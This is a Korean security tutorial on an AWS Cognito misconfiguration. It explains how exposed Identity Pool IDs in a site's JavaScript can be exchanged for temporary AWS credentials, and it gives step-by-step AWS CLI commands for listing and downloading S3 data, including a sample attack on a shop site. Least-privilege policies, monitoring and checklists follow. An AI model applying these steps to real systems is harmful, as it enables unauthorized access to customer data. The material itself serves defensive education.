본문 바로가기

카테고리 없음

AWS Cognito

# AWS Cognito S3 취약점 완전 가이드

## 📝 취약점 개념 요약

**한 줄 요약:** 웹사이트에서 노출된 AWS 설정 정보를 이용해 S3 버킷의 민감한 데이터에 무단 접근하는 취약점

---

## 🎯 1. 공격자는 어떻게 AWS 정보를 알아내는가?

### 1.1 웹사이트 소스코드에서 발견

**가장 흔한 케이스:**
```javascript
// main.js 파일에서
const awsConfig = {
    region: 'us-east-1',
    identityPoolId: 'us-east-1:12345678-1234-1234-1234-123456789012',
    userPoolId: 'us-east-1_ABC123'
};
```

**발견 방법:**
- 웹페이지 우클릭 → "소스 보기"
- 개발자 도구(F12) → Sources 탭
- JavaScript 파일들 검색

### 1.2 개발자 도구 Network 탭

**실시간 API 호출 관찰:**
```
Request URL: https://cognito-identity.us-east-1.amazonaws.com/
Request Payload:
{
  "IdentityPoolId": "us-east-1:12345678-...",
  "Logins": {...}
}
```

### 1.3 GitHub 등 공개 저장소

**검색 키워드:**
- `identityPoolId`
- `cognito-identity`
- `amazonaws.com`
- `.env` 파일들

### 1.4 모바일 앱 분석

**앱 분해 도구 사용:**
- APK 파일 → config.json 추출
- iOS 앱 → Info.plist 분석

---

## 🔄 2. 공격 과정 단계별 설명

### Step 1: 정보 수집 (Information Gathering)

```mermaid
graph TD
    A[웹사이트 방문] --> B[소스코드 분석]
    B --> C[AWS 설정 정보 발견]
    C --> D[Identity Pool ID 획득]
    D --> E[Region 정보 확인]
```

**발견되는 정보:**
- **Identity Pool ID**: `us-east-1:12345678-1234-1234-1234-123456789012`
- **Region**: `us-east-1`
- **User Pool ID**: `us-east-1_ABC123` (있는 경우)

### Step 2: ID Token 획득

**방법 1: 정상 로그인**
```javascript
// 웹사이트에 정상 회원가입/로그인
// 로그인 후 localStorage나 sessionStorage에서 토큰 확인
localStorage.getItem('idToken')
```

**방법 2: 개발자 도구 모니터링**
```
로그인 과정에서 Network 탭으로 응답 확인:
{
  "IdToken": "eyJhbGciOiJSUzI1NiIs...",
  "AccessToken": "eyJhbGciOiJSUzI1NiIs...",
  "RefreshToken": "eyJhbGciOiJSUzI1NiIs..."
}
```

### Step 3: Identity ID 교환

**AWS API 호출:**
```bash
# AWS CLI 또는 SDK 사용
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:12345678-1234-1234-1234-123456789012" \
  --logins '{"cognito-idp.us-east-1.amazonaws.com/us-east-1_ABC123":"ID_TOKEN_값"}'
```

**응답:**
```json
{
  "IdentityId": "us-east-1:87654321-4321-4321-4321-210987654321"
}
```

### Step 4: 임시 자격증명 획득

**API 호출:**
```bash
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:87654321-4321-4321-4321-210987654321"
```

**응답 (핵심!):**
```json
{
  "Credentials": {
    "AccessKeyId": "ASIAXAMPLE123456789",
    "SecretAccessKey": "abc123def456ghi789...",
    "SessionToken": "IQoJb3JpZ2luX2VjEH...",
    "Expiration": "2024-01-01T15:30:00.000Z"
  }
}
```

### Step 5: AWS CLI 설정 및 S3 접근

**환경변수 설정:**
```bash
export AWS_ACCESS_KEY_ID="ASIAXAMPLE123456789"
export AWS_SECRET_ACCESS_KEY="abc123def456ghi789..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEH..."
export AWS_DEFAULT_REGION="us-east-1"
```

**S3 접근 시도:**
```bash
# 1. 현재 권한 확인
aws sts get-caller-identity

# 2. S3 버킷 목록 조회
aws s3 ls

# 3. 특정 버킷 내용 확인
aws s3 ls s3://company-data/

# 4. 민감한 파일 다운로드
aws s3 cp s3://company-data/customer_database.csv ./
```

---

## 🎯 3. 실제 공격 시나리오

### 시나리오: 전자상거래 웹사이트 공격

**1단계: 타겟 웹사이트 분석**
```
타겟: https://example-shop.com
- React 기반 SPA
- AWS Cognito 사용자 인증
- 상품 이미지를 S3에서 로드
```

**2단계: AWS 설정 정보 발견**
```javascript
// https://example-shop.com/static/js/main.abc123.js 에서 발견
const AWS_CONFIG = {
  identityPoolId: 'us-east-1:real-pool-id-here',
  region: 'us-east-1'
}
```

**3단계: 정상 사용자로 가입**
```
1. 일반 고객으로 회원가입
2. 로그인 후 개발자 도구로 ID Token 확인
3. localStorage에서 토큰 추출
```

**4단계: 권한 획득 및 테스트**
```bash
# Identity ID 획득
aws cognito-identity get-id --identity-pool-id "us-east-1:real-pool-id" --logins {...}

# 자격증명 요청
aws cognito-identity get-credentials-for-identity --identity-id "..."

# S3 접근 테스트
aws s3 ls
```

**5단계: 민감한 데이터 발견**
```bash
$ aws s3 ls
2024-01-01 12:00:00  company-user-uploads
2024-01-01 12:00:00  company-backup-2024
2024-01-01 12:00:00  company-internal-docs

$ aws s3 ls s3://company-backup-2024/
2024-01-01 12:00:00  5000000  customer_database_backup.sql
2024-01-01 12:00:00  2000000  payment_logs_2024.csv
2024-01-01 12:00:00  1000000  admin_credentials.txt
```

---

## ⚠️ 4. 왜 이런 취약점이 발생하는가?

### 4.1 개발자 관점

**편의성 우선:**
```javascript
// 개발 중 테스트 편의를 위해
const policy = {
  "Effect": "Allow",
  "Action": "s3:*",  // ← 모든 S3 권한!
  "Resource": "*"    // ← 모든 리소스!
}
```

**AWS 복잡성:**
- IAM 정책이 복잡하고 이해하기 어려움
- Cognito Identity Pool 설정의 미묘한 차이
- 프로덕션 배포 시 설정 변경 누락

### 4.2 AWS 기본 설정의 함정

**Identity Pool 기본값:**
```json
{
  "AllowUnauthenticatedIdentities": true,  // ← 익명 접근 허용
  "Roles": {
    "authenticated": "arn:aws:iam::account:role/Cognito_PoolAuth_Role",
    "unauthenticated": "arn:aws:iam::account:role/Cognito_PoolUnauth_Role"
  }
}
```

---

## 🛡️ 5. 방어 방법

### 5.1 최소 권한 원칙

**올바른 S3 정책 예시:**
```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::user-uploads/${cognito-identity.amazonaws.com:sub}/*"
    }
  ]
}
```

**설명:**
- `s3:GetObject`만 허용 (읽기만 가능)
- 사용자별 폴더에만 접근 (`${cognito-identity.amazonaws.com:sub}`)
- 특정 버킷에만 제한

### 5.2 조건부 접근 제어

```json
{
  "Condition": {
    "StringEquals": {
      "cognito-identity.amazonaws.com:aud": "IDENTITY_POOL_ID"
    },
    "IpAddress": {
      "aws:SourceIp": "허용된_IP_대역"
    },
    "DateGreaterThan": {
      "aws:TokenIssueTime": "2024-01-01T00:00:00Z"
    }
  }
}
```

### 5.3 모니터링 설정

**CloudTrail 로그 확인:**
```bash
# 의심스러운 Cognito 활동 모니터링
aws logs filter-log-events \
  --log-group-name CloudTrail/CognitoIdentity \
  --filter-pattern "{ $.sourceIPAddress != \"내부_IP\" }"
```

---

## 🔍 6. 보안 점검 체크리스트

### 개발자 체크리스트

- [ ] **코드에서 AWS 설정 제거**: 환경변수나 설정 파일로 분리
- [ ] **IAM 정책 최소화**: 필요한 권한만 부여
- [ ] **Unauthenticated Role 비활성화**: 꼭 필요한 경우가 아니라면 끄기
- [ ] **S3 버킷 정책 검토**: 퍼블릭 접근 차단 확인

### 보안팀 체크리스트

- [ ] **정기적인 권한 감사**: IAM Access Analyzer 사용
- [ ] **CloudTrail 모니터링**: 비정상적인 API 호출 감지
- [ ] **S3 버킷 스캔**: 퍼블릭 버킷 및 설정 오류 확인
- [ ] **침투 테스트**: 정기적인 보안 테스트 수행

---

## 💡 7. 핵심 포인트

### 공격자 관점

1. **정보 수집이 핵심**: 웹 소스코드에서 AWS 정보 찾기
2. **정상 사용자 권한 악용**: 과도한 권한 설정 이용
3. **자동화 가능**: 스크립트로 대량 스캔 가능

### 방어자 관점

1. **설정이 전부**: IAM 정책과 Identity Pool 설정이 핵심
2. **가시성 확보**: 모니터링과 로깅 강화
3. **교육이 중요**: 개발팀의 AWS 보안 이해도 향상

### 조직 관점

1. **문화 변화**: 보안을 개발 초기부터 고려
2. **자동화 도입**: 보안 설정 오류 자동 감지
3. **지속적 개선**: 정기적인 보안 검토 및 업데이트

---

## 🚨 결론

이 취약점은 **AWS 설정 실수**에서 비롯되는 전형적인 클라우드 보안 이슈입니다.

**핵심은:**
- 웹 소스코드에 노출된 AWS 정보 → Identity Pool ID 발견
- 정상 로그인으로 얻은 ID Token → Identity ID 교환  
- 과도한 IAM 권한 설정 → S3 민감 데이터 접근

**방어 핵심:**
- 최소 권한 원칙 엄격 적용
- 클라이언트 코드에서 AWS 설정 정보 제거  
- 지속적인 모니터링과 감사

---

*⚠️ 이 문서는 교육 목적으로 작성되었습니다. 승인되지 않은 시스템 접근은 불법입니다.*